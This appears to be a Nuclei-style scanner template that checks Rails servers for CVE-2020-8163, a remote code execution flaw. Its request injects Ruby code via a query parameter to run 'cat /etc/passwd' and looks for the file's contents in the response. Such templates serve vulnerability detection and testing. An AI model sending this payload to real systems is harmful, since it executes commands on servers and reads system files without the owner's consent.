id: CVE-2020-8163

info:
  name: Potential Remote Code Execution on Rails
  author: tim_koopmans
  severity: high
  description: Tests for ability to pass user parameters as local variables into partials
  reference:
    - https://correkt.horse/ruby/2020/08/22/CVE-2020-8163/
    - https://hackerone.com/reports/304805
    - https://groups.google.com/g/rubyonrails-security/c/hWuKcHyoKh0
    - https://lists.debian.org/debian-lts-announce/2020/07/msg00013.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-8163
    cwe-id: CWE-94
  tags: cve,cve2020,rails,rce

requests:
  - method: GET
    path:
      - "{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body